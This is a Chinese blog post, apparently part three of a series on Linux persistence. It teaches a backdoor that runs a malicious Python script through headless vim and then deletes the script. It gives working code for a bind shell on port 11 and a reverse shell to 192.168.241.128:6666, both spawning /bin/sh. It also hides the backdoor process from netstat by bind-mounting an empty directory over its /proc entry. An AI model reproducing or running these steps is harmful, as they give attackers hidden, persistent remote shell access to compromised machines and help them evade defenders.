linux权限维持（三）

5.vim python 扩展后门

适用于安装了 vim 且安装了 python 扩展 ( 绝大版本默认安装 ) 的 linux 系统。


cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile dir.py">/dev/null 2>&1 &) && sleep 2 && rm -f dir.py
$(nohup vim -E -c "py3file dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -fdir.py

恶意脚本 dir.py 的内容可以是任何功能的后门，比如监听本地的 11 端口：

正向后门：


#from https://www.leavesongs.com/PYTHON/python-shell-backdoor.html
from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',11))
server.listen(5)
print ('waiting for connect')
talk, addr = server.accept()
print ('connect from',addr)
proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
stdout=talk, stderr=talk, shell=True)

反向后门：


import socket, subprocess, os;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect(("192.168.241.128", 6666));
os.dup2(s.fileno(), 0);
os.dup2(s.fileno(), 1);
os.dup2(s.fileno(), 2);
p = subprocess.call(["/bin/sh", "-i"]);

隐藏后门：


(nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &)
#将nohup的执行结果输出到/dev/null中
#其中/dev/null在linux中代表空设备，结果输出到空设备也就是丢弃nohup的执行结果。
#“2”在linux中代表错误输出，“1”在linux中代表标准输出，在此处也就是nohup的输出。2>&1表示将错误
输出绑定到标准输出上，在此处也就是将错误输出同样输出到空设备上不进行显示。这样，无论nohup执行结
果是否正确，都不会有输出。

将 netstat -anpt 查看到的可疑连接隐藏起来，解决方法：

既然是后门，那么就不能留下自己创建的文件，可以将删除命令直接拼接到命令上

(nohup vim -E -c "py3file dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py

隐藏进程：


mkdir null
mount --bind null /proc/6238
netstat -anpt

#mount --bind 命令是将前一个目录挂载到后一个目录上，所有对后一个目录的访问其实都是对前一个目录的访问，并且会将前一个目录路径隐藏起来（注意这里只是隐藏不是删除，数据未发生改变，仅仅是无法访问了）。

攻击机 nc 连接过去就可以了 :


nohup vim -E -c "pyfile dir.py"
nc 127.0.0.1 11

查看 cat /proc/$$/mountinfo 可以看到挂在的目录


sudo umount /proc/2607
sudo netstat -anpt
ps aux | grep 2607

------------------------------未完待续，请看下篇----------------------------

相关阅读:
芋道系统，springboot+vue3+mysql实现地址的存储与显示
DGIOT短信字段与腾讯云服务器短信字段的对应关系
暑期算法打卡----第二天
Android流媒体开发之路二:NDK C++开发Android端RTMP直播推流程序
c++学习文件操作，模板
【python基础】字典和集合
linux常用命令
spring 事务的传播行为
AOI在SMT生产线的关键作用
gitee 使用

原文地址：https://blog.csdn.net/qq_61861243/article/details/138170002